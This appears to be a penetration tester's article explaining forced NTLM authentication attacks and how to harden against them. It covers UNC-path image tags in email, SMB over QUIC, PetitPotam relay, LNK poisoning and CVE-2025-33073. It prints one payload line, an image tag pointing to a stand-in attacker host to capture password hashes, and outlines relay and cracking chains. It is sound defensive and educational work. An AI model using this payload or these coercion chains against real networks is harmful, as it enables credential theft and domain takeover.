Vulnerability Spotlight: Forced Authentication

Overview

Imagine this attack path: An end user receives a completely uneventful email. From their perspective, it's just another marketing message — nothing suspicious, nothing worth a second look. Fifteen minutes later, they get an MFA push notification. They shrug it off. Outlook reauthenticates all the time. They tap Approve and move on with their day. Forty-five minutes later, an attacker has already gained control of your domain controllers.

That scenario isn't hypothetical, and it isn't rare. Variations of this exact chain have been used successfully by real threat actors targeting real organizations, including documented campaigns against critical infrastructure. (See: CISA Advisory on APT Activity Targeting Energy and Critical Infrastructure)

This isn't about tricking users. It's about systems authenticating automatically — and the lack of proper egress filtering to stop it.

Forced authentication is the practice of deliberately causing a system to authenticate outbound to attacker-controlled infrastructure, whether by abusing default protocol behavior or by exploiting vulnerabilities that coerce authentication without meaningful user action.

Forced Authentication Email Attacks

The most common way we exploit forced authentication paths as penetration testers is via email. This is not a phishing attack and there is no pass/fail from the user's perspective. When this works, the failure sits squarely with improperly configured egress controls that allow SMB traffic to reach the public internet. When should SMB be allowed outbound to the internet? NEVER.

The attack itself is simple: a HTML email contains a embedded reference to a image hosted on an attacker-controlled server. There are many iterations of this, and if you're looking to emulate this in a production environment you'll likely need to play with some different HTML tag combinations to find ones that bypass your target's mail filter. I won't give away all of the secret sauce here, but the most basic version is of an image tag pointing to a UNC path:

<img src="\\attacker-host\logo.png">

When Outlook processes the email, it may attempt to retrieve the image automatically. Because the path points to an SMB share, Windows initiates an NTLM authentication attempt to the remote host. On the attacker's end, a Responder-style listener captures the user's domain Net-NTLMv2 password hash. (Note: Even if Outlook is not configured to not allow automatic image load, a simple pretext like the one below is way more successful in coercing that action than you'd think.)

Once the hash is captured, it can be cracked offline to recover the user's plaintext credential. From there an attacker is free to continue their attack as an authenticated user – whether that is exploiting the Microsoft Graph API, identifying lapses in MFA, or even performing a MFA fatigue attack to gain VPN access. If you're a client who has received a pentest from me over the years – this rings very true. Valid credentials is the first step to uncovering legitimate attack paths that compromise company resources.

The Work From Home Problem

Prior to 2020, we (pentesters) had success with forced authentication attacks, but they were more or less few and far between. On a properly secured network, SMB is blocked at the corporate perimeter. TCP 445 never made it to the internet, and the attack died quietly at the firewall. Then COVID happened. Work from home became the new norm, and that model broke. Egress filtering stopped being a purely network problem and became an endpoint problem – one many organizations never fully addressed. Most residential ISPs still allow outbound TCP 445, meaning that unless IT has thought of this problem, your remote workforce is likely vulnerable to this type of attack under the right conditions. Without proper Group Policy of MDM enforcement pushing outbound SMB restrictions to the endpoint's Windows Firewall, the protection simply isn't there.

Leveling Up: SMB Over QUIC

Over the last several years our pentest clients have performed better and better against this attack. Clients caught on – egress filtering drastically improved. That is until SMB over QUIC came into play.

SMB over QUIC is a feature introduced in Windows 11 and Windows Server 2022 (and yes, client support is enabled by default) that allows SMB traffic to run over the QUIC protocol on UDP port 443. It was designed to provide "SMB without VPN" for remote workers, allowing access to file shares over the internet without a traditional tunnel. On paper, that sounds convenient. In practice, it reintroduces SMB traffic over a port that almost every environment allows outbound.

Adam Chester summed this up perfectly in his original write-up on SMB over QUIC exploitation:

"Think about that for a second. You block TCP 445 at every layer. Network firewall, host firewall, VPN split-tunnel rules — all of it. And then SMB traffic just shows up on UDP 443, a port that functionally cannot be blocked without breaking the internet. Thanks, Microsoft."

To be fair, Microsoft's design of SMB over QUIC uses TLS 1.3 encryption and certificate validation, and the documentation states that NTLM authentication inside the QUIC tunnel is encrypted. But that doesn't help when the attacker controls the endpoint the client is authenticating to. The Net-NTLMv2 hash still gets captured by the attacker's Responder listener — it just arrives via a different transport now.

Internal Forced Authentication

Everything above focuses on external attack paths. Internally, forced authentication is a much easier exploited avenue, as the options for coercing authentication multiply significantly once you have a foothold – with weak protocol encryption like SMB or LDAP signing allow relay of the intercepted credentials rather than requiring cracking.

PetitPotam abuses the MS-EFSRPC protocol to force a domain controller to authenticate to an attacker-controlled host. Relay that authentication to an AD CS server vulnerable to ESC-8, request a certificate for the DC's machine account, and you're looking at domain admin. Microsoft patched the unauthenticated variant, but the authenticated version is alive and well as a "feature".

Slinky / LNK Poisoning is the internal equivalent of the email trick. Drop a malicious .lnk file onto a writable share with its icon path pointing to your listener, and anyone who browses that folder in Explorer sends you their hash.

NTLM Reflection (CVE-2025-33073) is one of the more significant recent additions to this space. Disclosed by Synacktiv in June 2025, it bypasses NTLM reflection mitigations that have been in place since 2008. The short version: by abusing default AD DNS permissions to create a crafted hostname record, an attacker can trick Windows into thinking a remote NTLM authentication is local — causing LSASS to hand over a SYSTEM token. Standard domain user to SYSTEM on any machine without SMB signing enforced.

WebDAV coercion is another internal technique that continues to be highly effective. As demonstrated in this blog by Redfoxsec, WebDAV can be abused to coerce Windows systems to authenticate to attacker-controlled servers simply by accessing crafted paths or resources.

Relevant Forced Authentication CVEs

It's also worth calling out the steady stream of vulnerabilities that keep expanding the forced authentication attack surface year over year. These aren't edge cases – several of these were exploited in the wild by nation-state actors.

Security Impact and Risk

External Credential Compromise: Email-based forced authentication can capture domain credentials from remote workers without any user interaction. The captured hashes can be cracked offline for initial access to VPN, email, cloud services, and other externally facing resources.

Bypass of Traditional Perimeter Controls: SMB over QUIC operating on UDP 443 renders traditional port-based egress SMB filtering ineffective, reintroducing an attack vector that many organizations believed they had closed.

Internal Privilege Escalation: Coercion techniques like PetitPotam and NTLM reflection (CVE-2025-33073) assist in attack paths from standard domain user to domain administrator, often in a matter of minutes.

Low Detection Likelihood: Forced authentication attacks generate minimal noise. The outbound SMB connection looks like normal network traffic, and the authentication exchange is a standard NTLM handshake. Without specific monitoring for outbound SMB to untrusted destinations, these attacks frequently go undetected.

Remediation and Hardening Recommendations

There's no single switch that fixes forced authentication. Effective mitigation requires layers. At a minimum:

• Enforce egress SMB filtering at both the network firewall as well as at the Windows Firewall level.
• Disable SMB over QUIC unless you explicitly have a need for it.
• Enforce SMB signing, LDAP signing/channel binding, and equivalent protections on other authentication-backed services.
• Reduce NTLM usage wherever possible and monitor for NTLM authentication to unexpected hosts, especially outside the corporate network.
• Lock down writable shares.
• Validate controls off-network, not just on VPN.

Most importantly, test these assumptions. Forced authentication is easy to validate, easy to miss, and very hard to dismiss once it works.

References

• CISA – Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors
• TrustedSec – Making SMB Accessible with NTLMquic
• Synacktiv – NTLM Reflection Is Dead, Long Live NTLM Reflection (CVE-2025-33073)
• Redfoxsec – WebClient / WebDAV Abuse for NTLM Coercion